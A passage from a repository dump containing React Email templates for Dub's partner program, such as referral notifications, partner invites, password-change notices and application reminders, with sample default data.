    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerReferralSubmitted({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  referral = {\n    id: \"ref_1234567890\",\n    name: \"Jane Smith\",\n    email: \"jane@example.com\",\n    company: \"Acme Corp\",\n    image: null,\n    formData: [\n      {\n        label: \"How did you meet this referral?\",\n        value: \"Met at a conference last month.\",\n      },\n      {\n        label: \"Expected deal size\",\n        value: \"$50,000\",\n      },\n    ],\n  },\n  partner = {\n    name: \"Sarah Charpentier\",\n    email: \"sarah@floridaman.org\",\n    image: null,\n  },\n}: {\n  email: string;\n  workspace: { slug: string };\n  referral: {\n    id: string;\n    name: string;\n    email: string;\n    company: string;\n    image: string | null;\n    formData?: { label: string; value: unknown }[] | null;\n  };\n  partner: {\n    name: string;\n    email: string | null;\n    image: string | null;\n  };\n}) {\n  const referralUrl = `https://app.dub.co/${workspace.slug}/program/customers/referrals?referralId=${referral.id}`;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        New partner referral from {referral.name} ({referral.email}) at{\" \"}\n        {referral.company}.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              New partner referral\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You have a new partner referral to review, view the{\" \"}\n              <Link\n                href={referralUrl}\n                className=\"text-neutral-600 underline underline-offset-4\"\n              >\n                full details on Dub\n              </Link>\n              .\n            </Text>\n\n            <Container className=\"mt-10 rounded-lg border border-solid border-neutral-200\">\n              <Section style={{ padding: \"8px 8px 4px\" }}>\n                <Container className=\"w-full rounded-lg border border-solid border-neutral-100 bg-neutral-50 p-5\">\n                  <div>\n                    <Img\n                      src={\n                        referral.image || `${OG_AVATAR_URL}${referral.email}`\n                      }\n                      width=\"48\"\n                      height=\"48\"\n                      alt={referral.name}\n                      className=\"rounded-full\"\n                    />\n\n                    <div>\n                      <Text className=\"m-0 mt-3 p-0 text-lg font-medium text-neutral-900\">\n                        {referral.name}\n                      </Text>\n                      <table\n                        cellPadding=\"0\"\n                        cellSpacing=\"0\"\n                        style={{ marginTop: \"4px\" }}\n                      >\n                        <tr>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              paddingRight: \"6px\",\n                              lineHeight: 0,\n                            }}\n                          >\n                            <Img\n                              src=\"https://assets.dub.co/email-assets/icons/envelope.png\"\n                              width=\"14\"\n                              height=\"14\"\n                              className=\"opacity-75\"\n                              alt=\"envelope\"\n                            />\n                          </td>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              fontSize: \"14px\",\n                              color: \"#737373\",\n                            }}\n                          >\n                            {referral.email}\n                          </td>\n                        </tr>\n                      </table>\n                      <table\n                        cellPadding=\"0\"\n                        cellSpacing=\"0\"\n                        style={{ marginTop: \"4px\" }}\n                      >\n                        <tr>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              paddingRight: \"6px\",\n                              lineHeight: 0,\n                            }}\n                          >\n                            <Img\n                              src=\"https://assets.dub.co/email-assets/icons/office-building.png\"\n                              width=\"14\"\n                              height=\"14\"\n                              className=\"opacity-75\"\n                              alt=\"office building\"\n                            />\n                          </td>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              fontSize: \"14px\",\n                              color: \"#737373\",\n                            }}\n                          >\n                            {referral.company}\n                          </td>\n                        </tr>\n                      </table>\n                    </div>\n                  </div>\n\n                  <table\n                    cellPadding=\"0\"\n                    cellSpacing=\"0\"\n                    style={{\n                      width: \"100%\",\n                      backgroundColor: \"#f2f2f2\",\n                      borderRadius: \"12px\",\n                      padding: \"12px\",\n                      marginTop: \"20px\",\n                    }}\n                  >\n                    <tr>\n                      <td style={{ paddingBottom: \"8px\" }}>\n                        <Text\n                          className=\"m-0 p-0 text-xs font-semibold\"\n                          style={{\n                            margin: 0,\n                            lineHeight: \"16px\",\n                            color: \"#737373\",\n                          }}\n                        >\n                          Submitted by\n                        </Text>\n                      </td>\n                    </tr>\n                    <tr>\n                      <td>\n                        <table cellPadding=\"0\" cellSpacing=\"0\">\n                          <tr>\n                            <td\n                              style={{\n                                verticalAlign: \"middle\",\n                                paddingRight: \"8px\",\n                              }}\n                            >\n                              <Img\n                                src={\n                                  partner.image ||\n                                  `${OG_AVATAR_URL}${partner.email || partner.name}`\n                                }\n                                width=\"32\"\n                                height=\"32\"\n                                alt={partner.name}\n                                className=\"rounded-full\"\n                              />\n                            </td>\n                            <td style={{ verticalAlign: \"middle\" }}>\n                              <Text\n                                className=\"m-0 p-0 text-xs font-semibold\"\n                                style={{\n                                  margin: 0,\n                                  lineHeight: \"16px\",\n                                  color: \"#171717\",\n                                }}\n                              >\n                                {partner.name}\n                              </Text>\n                              {partner.email && (\n                                <Text\n                                  className=\"m-0 p-0 text-xs font-medium\"\n                                  style={{\n                                    margin: 0,\n                                    lineHeight: \"16px\",\n                                    color: \"#737373\",\n                                  }}\n                                >\n                                  {partner.email}\n                                </Text>\n                              )}\n                            </td>\n                          </tr>\n                        </table>\n                      </td>\n                    </tr>\n                  </table>\n                </Container>\n\n                {referral.formData && referral.formData.length > 0 && (\n                  <Section className=\"px-4 pt-4\">\n                    {referral.formData.map((field) => (\n                      <Section key={field.label} className=\"mb-4\">\n                        <Text className=\"m-0 mb-2 p-0 text-base font-medium text-neutral-900\">\n                          {field.label}\n                        </Text>\n                        <Text className=\"m-0 p-0 leading-6 text-neutral-600\">\n                          {String(field.value)}\n                        </Text>\n                      </Section>\n                    ))}\n                  </Section>\n                )}\n              </Section>\n            </Container>\n\n            <Section className=\"mb-8 mt-8 text-center\">\n              <Link\n                href={referralUrl}\n                className=\"box-border block w-full rounded-lg bg-black px-0 py-4 text-center text-sm font-semibold leading-none text-white no-underline\"\n              >\n                Review on Dub\n              </Link>\n            </Section>\n\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspace.slug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-user-invited.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerUserInvited({\n  email = \"panic@thedis.co\",\n  url = \"http://localhost:8888/api/auth/callback/email?callbackUrl=http%3A%2F%2Fapp.localhost%3A3000%2Flogin&token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&email=youremail@gmail.com\",\n  partnerName = \"Acme\",\n  partnerUser = \"Brendon Urie\",\n  partnerUserEmail = \"panic@thedis.co\",\n}: {\n  email: string;\n  url: string;\n  partnerName: string;\n  partnerUser: string | null;\n  partnerUserEmail: string | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Join {partnerName} on Dub Partners</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Join {partnerName} on Dub Partners\n            </Heading>\n            {partnerUser && partnerUserEmail ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                <strong>{partnerUser}</strong> (\n                <Link\n                  className=\"text-blue-600 no-underline\"\n                  href={`mailto:${partnerUserEmail}`}\n                >\n                  {partnerUserEmail}\n                </Link>\n                ) has invited you to join the <strong>{partnerName}</strong>{\" \"}\n                partner profile on Dub Partners!\n              </Text>\n            ) : (\n              <Text className=\"text-sm leading-6 text-black\">\n                You have been invited to join the <strong>{partnerName}</strong>{\" \"}\n                partner profile on Dub Partners!\n              </Text>\n            )}\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={url}\n              >\n                Join Partner Profile\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {url.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/password-updated.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PasswordUpdated({\n  email = \"panic@thedis.co\",\n  verb = \"updated\",\n}: {\n  email: string;\n  verb?: \"reset\" | \"updated\";\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your password has been {verb}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Password has been {verb}\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              The password for your Dub account has been successfully {verb}.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you did not make this change or you believe an unauthorised\n              person has accessed your account, please contact us immediately to\n              secure your account.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/pending-applications-summary.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL, pluralize } from \"@dub/utils\";\nimport { nFormatter } from \"@dub/utils/src\";\nimport {\n  Body,\n  Column,\n  Container,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { format } from \"date-fns\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PendingApplicationsSummary({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  partners = [\n    {\n      id: \"pn_1JPBEGP7EXF76CXT1W99VERW5\",\n      name: \"Sarah Charpentier\",\n      email: \"sarah@floridaman.org\",\n      image: `${OG_AVATAR_URL}pn_1JPBEGP7EXF76CXT1W99VERW5`,\n    },\n    {\n      id: \"pn_1JPBEGP7EXF76CXT1W99VERW6\",\n      name: \"Derek Forbes\",\n      email: \"d.forbes@gmail.com\",\n      image: `${OG_AVATAR_URL}pn_1JPBEGP7EXF76CXT1W99VERW6`,\n    },\n    {\n      id: \"pn_1JPBEGP7EXF76CXT1W99VERW7\",\n      name: \"Marvin Ta\",\n      email: \"marvin@email.com\",\n      image: `${OG_AVATAR_URL}pn_1JPBEGP7EXF76CXT1W99VERW7`,\n    },\n  ],\n  totalCount = 1234,\n  date = new Date(),\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  partners: {\n    id: string;\n    name: string | null;\n    email: string | null;\n    image: string | null;\n  }[];\n  totalCount: number;\n  date: Date;\n}) {\n  const formattedDate = format(date, \"MMM d, yyyy\");\n  const applicationsUrl = `https://app.dub.co/${workspace.slug}/program/partners/applications`;\n\n  return (\n    <Html>\n      <Preview>\n        You have {nFormatter(totalCount, { full: true })} pending applications\n        to review on Dub for {formattedDate}\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-medium text-black\">\n              {nFormatter(totalCount, { full: true })}{\" \"}\n              {pluralize(\"partner application\", totalCount)} pending review\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-gray-600\">\n              You have <strong>{nFormatter(totalCount, { full: true })}</strong>{\" \"}\n              pending {pluralize(\"application\", totalCount)} to{\" \"}\n              <Link\n                href={applicationsUrl}\n                className=\"text-gray-600 underline underline-offset-4\"\n              >\n                review on Dub\n              </Link>\n              . Reviewing these on time will keep your program running smoothly\n              and provide a better partner experience.\n            </Text>\n\n            <Section className=\"my-6\">\n              {partners.map((partner, index) => {\n                return (\n                  <Section\n                    key={partner.id}\n                    className={`rounded-lg border border-solid border-neutral-200 bg-neutral-50 p-4 ${index < partners.length - 1 ? \"mb-3\" : \"\"}`}\n                  >\n                    <Row>\n                      <Column\n                        width={52}\n                        valign=\"middle\"\n                        style={{ paddingRight: \"12px\" }}\n                      >\n                        <Img\n                          src={partner.image || `${OG_AVATAR_URL}${partner.id}`}\n                          width=\"40\"\n                          height=\"40\"\n                          alt={partner.name || \"partner avatar\"}\n                          className=\"rounded-full\"\n                        />\n                      </Column>\n                      <Column valign=\"middle\" style={{ paddingRight: \"12px\" }}>\n                        <div\n                          style={{\n                            width: \"200px\",\n                            overflow: \"hidden\",\n                          }}\n                        >\n                          <Text className=\"m-0 truncate p-0 text-sm font-semibold text-neutral-900\">\n                            {partner.name || \"\"}\n                          </Text>\n                          <Text className=\"m-0 truncate p-0 text-sm font-medium text-neutral-500 no-underline\">\n                            {partner.email}\n                          </Text>\n                        </div>\n                      </Column>\n                      <Column width={90} align=\"right\" valign=\"middle\">\n                        <Link\n                          href={`${applicationsUrl}?partnerId=${partner.id}`}\n                          className=\"box-border inline-block rounded-md border border-solid border-neutral-200 bg-white px-4 py-2 text-center text-sm font-medium leading-none text-black no-underline\"\n                          style={{ whiteSpace: \"nowrap\" }}\n                        >\n                          Review\n                        </Link>\n                      </Column>\n                    </Row>\n                  </Section>\n                );\n              })}\n            </Section>\n\n            <Section className=\"mt-6 text-center\">\n              <Link\n                href={applicationsUrl}\n                className=\"box-border block w-full rounded-md bg-black px-2 py-3 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                View all applications\n              </Link>\n            </Section>\n\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspace.slug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-application-reminder.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramApplicationReminder({\n  email = \"panic@thedis.co\",\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n}: {\n  email: string;\n  program: {\n    name: string;\n    slug: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your application to {program.name} has been saved, but you still need to\n        create your Dub Partner account to complete your application.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Your application is almost complete!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your application to <b>{program.name}'s Program</b> has been\n              saved, but you still need to create your Dub Partners account\n              using your <strong className=\"underline\">{email}</strong> email to\n              complete your application.\n              <br />\n              <br />\n              Once that's done, your application will be submitted to{\" \"}\n              <b>{program.name}</b> and you'll be able to start earning rewards\n              for referring customers.\n            </Text>\n\n            <Section className=\"mt-8 text-center\">\n              <Link\n                href={`https://partners.dub.co/${program.slug}/register`}\n                className=\"box-border block w-full rounded-md bg-black px-0 py-4 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                Create your Dub Partners account\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-imported.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramImported({\n  email = \"panic@thedis.co\",\n  provider = \"Rewardful\",\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Cal\",\n  },\n  importId = \"1K1QFYS3W9CJTEJ325SQKWCHF\",\n}: {\n  email: string;\n  provider: \"Rewardful\" | \"Tolt\" | \"PartnerStack\" | \"FirstPromoter\";\n  workspace: {\n    slug: string;\n  };\n  program: {\n    name: string;\n  };\n  importId?: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your {provider} campaign has been imported</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your {provider} campaign has been imported\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              We have successfully imported your {provider} campaign{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/program/partners`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {program.name}↗\n              </Link>{\" \"}\n              into Dub.\n            </Text>\n\n            {importId && (\n              <Text className=\"mt-4 text-sm leading-6 text-black\">\n                You can{\" \"}\n                <Link\n                  href={`https://app.dub.co/api/workspaces/${workspace.slug}/import/${importId}/download`}\n                  className=\"font-medium text-blue-600 no-underline\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  download\n                >\n                  download the import logs here ↗\n                </Link>\n                .\n              </Text>\n            )}\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-invite.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Markdown } from \"@react-email/markdown\";\nimport type { CSSProperties } from \"react\";\nimport { Footer } from \"../components/footer\";\n\nconst markdownCustomStyles: Record<string, CSSProperties> = {\n  p: {\n    color: \"#525252\",\n    fontSize: \"14px\",\n    lineHeight: \"20px\",\n    margin: \"0 0 16px\",\n  },\n  link: {\n    fontWeight: \"600\",\n    color: \"#000000\",\n    textDecoration: \"underline\",\n    textDecorationStyle: \"dotted\",\n    textUnderlineOffset: \"2px\",\n  },\n  ul: {\n    margin: \"0 0 16px\",\n    paddingLeft: \"20px\",\n    listStylePosition: \"outside\",\n    listStyleType: \"disc\",\n    color: \"#525252\",\n    fontSize: \"14px\",\n    lineHeight: \"20px\",\n  },\n  ol: {\n    margin: \"0 0 16px\",\n    paddingLeft: \"20px\",\n    listStylePosition: \"outside\",\n    listStyleType: \"decimal\",\n    color: \"#525252\",\n    fontSize: \"14px\",\n    lineHeight: \"20px\",\n  },\n  li: {\n    marginBottom: \"8px\",\n  },\n  strong: {\n    fontWeight: \"600\",\n    color: \"#1f2937\",\n  },\n  em: {\n    fontStyle: \"italic\",\n  },\n  blockquote: {\n    margin: \"16px 0\",\n    padding: \"0 0 0 16px\",\n    borderLeft: \"4px solid #e5e7eb\",\n    backgroundColor: \"#f9fafb\",\n    color: \"#525252\",\n    fontSize: \"14px\",\n    lineHeight: \"20px\",\n  },\n  codeInline: {\n    display: \"inline-block\",\n    padding: \"2px 4px\",\n    borderRadius: \"4px\",\n    backgroundColor: \"#f4f4f5\",\n    border: \"1px solid #e4e4e7\",\n    fontFamily:\n      \"'SFMono-Regular', Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace\",\n    fontSize: \"12px\",\n    lineHeight: \"18px\",\n    color: \"#1f2937\",\n  },\n  code: {\n    margin: \"16px 0\",\n    overflowX: \"auto\",\n    borderRadius: \"8px\",\n    backgroundColor: \"#111827\",\n    border: \"1px solid #1f2937\",\n    padding: \"12px\",\n    fontSize: \"12px\",\n    lineHeight: \"20px\",\n    color: \"#f9fafb\",\n  },\n  hr: {\n    margin: \"24px 0\",\n    borderColor: \"#e5e7eb\",\n    borderStyle: \"solid\",\n    borderWidth: \"1px 0 0 0\",\n  },\n};\n\nexport default function ProgramInvite({\n  email = \"panic@thedis.co\",\n  name = \"John Doe\",\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    logo: DUB_WORDMARK,\n  },\n  rewards = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/invoice-dollar.png\",\n      label: \"Earn up to 65% per sale for 1 year\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/gift.png\",\n      label: \"New users get 20% off for 3 months\",\n    },\n  ],\n  bounties = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/heart.png\",\n      label: \"Create a YouTube video about Acme\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/trophy.png\",\n      label: \"Earn $100 after generating $1,000 in revenue\",\n    },\n  ],\n  subject,\n  title,\n  body,\n}: {\n  email: string;\n  name?: string | null;\n  program: {\n    name: string;\n    slug: string;\n    logo: string | null;\n  };\n  rewards: { icon: string; label: string }[] | null;\n  bounties: { icon: string; label: string }[] | null;\n  subject?: string;\n  title?: string;\n  body?: string;\n}) {\n  const emailTitle = title || \"You've been invited\";\n  const emailSubject =\n    subject || `${program.name} invited you to join Dub Partners`;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>{emailSubject}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mb-8 mt-6\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"bt-5 mx-0 mt-10 p-0 text-lg font-medium text-black\">\n              {emailTitle}\n            </Heading>\n\n            {body ? (\n              <Markdown markdownCustomStyles={markdownCustomStyles}>\n                {body}\n              </Markdown>\n            ) : (\n              <>\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  {name && !name.includes(\"@\") && <>Hi {name}, </>}\n                  {program.name} invited you to join their program on Dub\n                  Partners.\n                </Text>\n\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  {program.name} uses{\" \"}\n                  <Link\n                    href=\"https://dub.co/partners\"\n                    target=\"_blank\"\n                    className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n                  >\n                    Dub Partners\n                  </Link>{\" \"}\n                  to power their partner program and wants to work with great\n                  people like you!\n                </Text>\n              </>\n            )}\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-xs font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/${program.slug}/register?email=${encodeURIComponent(email)}&next=/programs/${program.slug}/invite`}\n              >\n                Accept Invite\n              </Link>\n            </Section>\n\n            {Boolean(rewards?.length || bounties?.length) && (\n              <>\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  If you accept the invite, you're immediately eligible for the\n                  following:\n                </Text>\n                <Section className=\"rounded-xl border border-solid border-neutral-200 bg-neutral-50 px-5 py-4\">\n                  {rewards && Boolean(rewards.length) && (\n                    <>\n                      <Text className=\"my-0 text-base font-semibold text-black\">\n                        Rewards\n                      </Text>\n                      {rewards.map((reward) => (\n                        <Row key={reward.label} className=\"mb-0 mt-2\">\n                          <Column className=\"align-center\">\n                            <Img src={reward.icon} height=\"16\" alt=\"\" />\n                          </Column>\n                          <Column className=\"w-full pl-2\">\n                            <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                              {reward.label}\n                            </Text>\n                          </Column>\n                        </Row>\n                      ))}\n                    </>\n                  )}\n                  {bounties && Boolean(bounties.length) && (\n                    <>\n                      <Text\n                        className={`mb-0 text-base font-semibold text-black ${rewards?.length ? \"mt-5\" : \"mt-0\"}`}\n                      >\n                        Bounties\n                      </Text>\n                      {bounties.map((bounty) => (\n                        <Row key={bounty.label} className=\"mb-0 mt-2\">\n                          <Column className=\"align-center\">\n                            <Img src={bounty.icon} height=\"16\" alt=\"\" />\n                          </Column>\n                          <Column className=\"w-full pl-2\">\n                            <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                              {bounty.label}\n                            </Text>\n                          </Column>\n                        </Row>\n                      ))}\n                    </>\n                  )}\n                </Section>\n              </>\n            )}\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-network-invite.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramNetworkInvite({\n  email = \"panic@thedis.co\",\n  name = \"John Doe\",\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    logo: DUB_WORDMARK,\n  },\n  rewards = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/invoice-dollar.png\",\n      label: \"Earn up to 65% per sale for 1 year\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/gift.png\",\n      label: \"New users get 20% off for 3 months\",\n    },\n  ],\n  bounties = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/heart.png\",\n      label: \"Create a YouTube video about Acme\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/trophy.png\",\n      label: \"Earn $100 after generating $1,000 in revenue\",\n    },\n  ],\n}: {\n  email: string;\n  name: string | null;\n  program: {\n    name: string;\n    slug: string;\n    logo: string | null;\n  };\n  rewards: { icon: string; label: string }[] | null;\n  bounties: { icon: string; label: string }[] | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Sign up for {program.name}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mb-8 mt-6\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 mt-10 p-0 text-lg font-medium text-black\">\n              You're getting noticed!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {name && !name.includes(\"@\") && <>Hi {name}, </>}\n              {program.name} found you on the Dub Partner Network and invited\n              you to join their partner program.\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/${program.slug}/register?email=${encodeURIComponent(email)}&next=/programs/${program.slug}`}\n              >\n                Accept Invite\n              </Link>\n            </Section>\n\n            {Boolean(rewards?.length || bounties?.length) && (\n              <>\n                <Text className=\"text-sm leading-6 text-neutral-600\">\n                  If you accept the invite, you're immediately eligible for the\n                  following:\n                </Text>\n                <Section className=\"rounded-xl border border-solid border-neutral-200 bg-neutral-50 px-5 py-4\">\n                  {rewards && Boolean(rewards.length) && (\n                    <>\n                      <Text className=\"my-0 text-base font-semibold text-black\">\n                        Rewards\n                      </Text>\n                      {rewards.map((reward) => (\n                        <Row key={reward.label} className=\"mb-0 mt-2\">\n                          <Column className=\"align-center\">\n                            <Img src={reward.icon} height=\"16\" alt=\"\" />\n                          </Column>\n                          <Column className=\"w-full pl-2\">\n                            <Text className=\"my-0 text-sm font-medium text-neutral-600\">\n                              {reward.label}\n                            </Text>\n                          </Column>\n                        </Row>\n                      ))}\n                    </>\n                  )}\n                  {bounties && Boolean(bounties.length) && (\n                    <>\n                      <Text\n                        className={`mb-0 text-base font-semibold text-black ${rewards?.length ? \"mt-5\" : \"mt-0\"}`}\n                      >\n                        Bounties\n                      </Text>\n                      {bounties.map((bounty) => (\n                        <Row key={bounty.label} className=\"mb-0 mt-2\">\n                          <Column className=\"align-center\">\n                            <Img src={bounty.icon} height=\"16\" alt=\"\" />\n                          </Column>\n                          <Column className=\"w-full pl-2\">\n                            <Text className=\"my-0 